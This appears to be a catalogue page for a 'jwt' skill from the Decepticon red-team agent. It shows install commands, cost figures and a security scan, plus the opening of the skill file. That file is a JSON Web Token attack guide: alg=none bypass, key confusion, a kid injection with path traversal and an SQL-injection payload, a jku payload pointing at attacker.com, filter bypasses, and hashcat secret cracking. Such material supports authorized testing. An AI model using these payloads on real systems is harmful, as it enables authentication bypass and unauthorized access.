Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/PurpleAILAB/Decepticonnpx agentmods add skills/purpleailab/decepticon/jwtWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/jwt)<a href="https://agentmods.dev/skills/purpleailab/decepticon/jwt"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/jwt/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/jwt"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/jwt.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 72 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00039 | $0.01437 |
| Opus 5 | $0.00019 | $0.00718 |
| Sonnet 5 | $0.00008 | $0.00287 |
| Haiku 4.5 | $0.00004 | $0.00144 |
Grade A, and why
jwt scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]' Copies of this mod
1 near-identical copy found in the catalogue:
- jwt — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 141 lines — stays where its author put it; the contents beside it link to each section on GitHub.
JSON Web Token Attacks
JWTs are signed (HS256/RS256/ES256) or sometimes mis-configured to
accept none. The header carries the alg + optionally kid/jku/x5u
references. Each is a potential exploitation surface.
1. Anatomy
header.payload.signature — each base64url. Decode w/ jwt_tool or
jwt-cracker:
jwt_tool eyJhbGc... # decode + verify + tamper modes
echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null
2. Attack surface
2.1 alg=none bypass
Set {"alg":"none"} in header, strip signature, send header.payload.:
jwt_tool $JWT -X a # alg=none attack
Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears in legacy systems.
2.2 HS256 vs RS256 confusion
Server uses RS256 (asymmetric) and verifies w/ public key. Attacker
switches alg to HS256 and signs w/ the public key (which the server
will use as the HMAC secret):
# Get the public key
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
# Or pull from a redirect / unauth /pubkey endpoint
jwt_tool $JWT -X k -pk public.pem # alg confusion attack
2.3 kid header injection
kid (key ID) sometimes resolves to a file path or DB key:
{"alg":"HS256","kid":"../../../dev/null"} // sign with empty content
{"alg":"HS256","kid":"key1' UNION SELECT 'mykey"} // SQLi in kid lookup
jwt_tool -X i -I -hc kid -hv path chains kid injection variants.
2.4 jku / x5u URL injection
jku (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,
attacker hosts their own:
{"alg":"RS256","jku":"https://attacker.com/jwks.json"}
Then https://attacker.com/jwks.json returns attacker's public key,
signed JWT is "valid".
Bypass URL filters via:
- subdomain confusion (
https://target.com.attacker.com/jwks.json) - userinfo (
https://[email protected]/jwks.json) - redirect chains via target's open-redirect
2.5 Weak HMAC secret
HS256 with weak secret crackable offline:
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt
Hashcat mode 16500 = JWT. Service-account secrets often dev/secret/
changeme/company-name patterns.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 141 lines · 39 tokens per session scan A 8d4ce4086173
jwt is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 39 tokens to every session and 1,437 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
api-crud-generator
A code generator that creates standard Next.js API routes and an administration page from Prisma models. Prisma is a tool that describes and accesses an application’s database.
msbuild-antipatterns
Catalog of MSBuild anti-patterns with detection rules and fix recipes. Only activate in MSBuild/.NET build context. USE FOR: reviewing, auditing, or cleaning up .csproj, .vbproj, .fsproj, .props, .targets, or .proj files. Each anti-pattern has a symptom, explanation, and concrete BAD→GOOD transformation. Covers…
run-tests
Runs .NET tests with dotnet test. Use when user says "run tests", "run my tests", "run these tests", "execute tests", "dotnet test", "test filter", "filter by category", "filter by class", "combine filters", "run only specific tests", "integration tests", "unit tests", "tests not running", "hang timeout"…
fastapi
FastAPI best practices and conventions. Use when working with FastAPI APIs and Pydantic models for them. Keeps FastAPI code clean and up to date with the latest features and patterns, updated with new versions. Write new code or refactor and update old code.
dotnet-10-csharp-14
Use when building .NET 10 or C# 14 applications; when using minimal APIs, modular monolith patterns, or feature folders; when implementing HTTP resilience, Options pattern, Channels, or validation; when seeing outdated patterns like old extension method syntax.
nodejs-core
Debugs native module crashes, optimizes V8 performance, configures node-gyp builds, writes N-API/node-addon-api bindings, and diagnoses libuv event loop issues in Node.js. Use when working with C++ addons, native modules, binding.gyp, node-gyp errors, segfaults, memory leaks in native code, V8…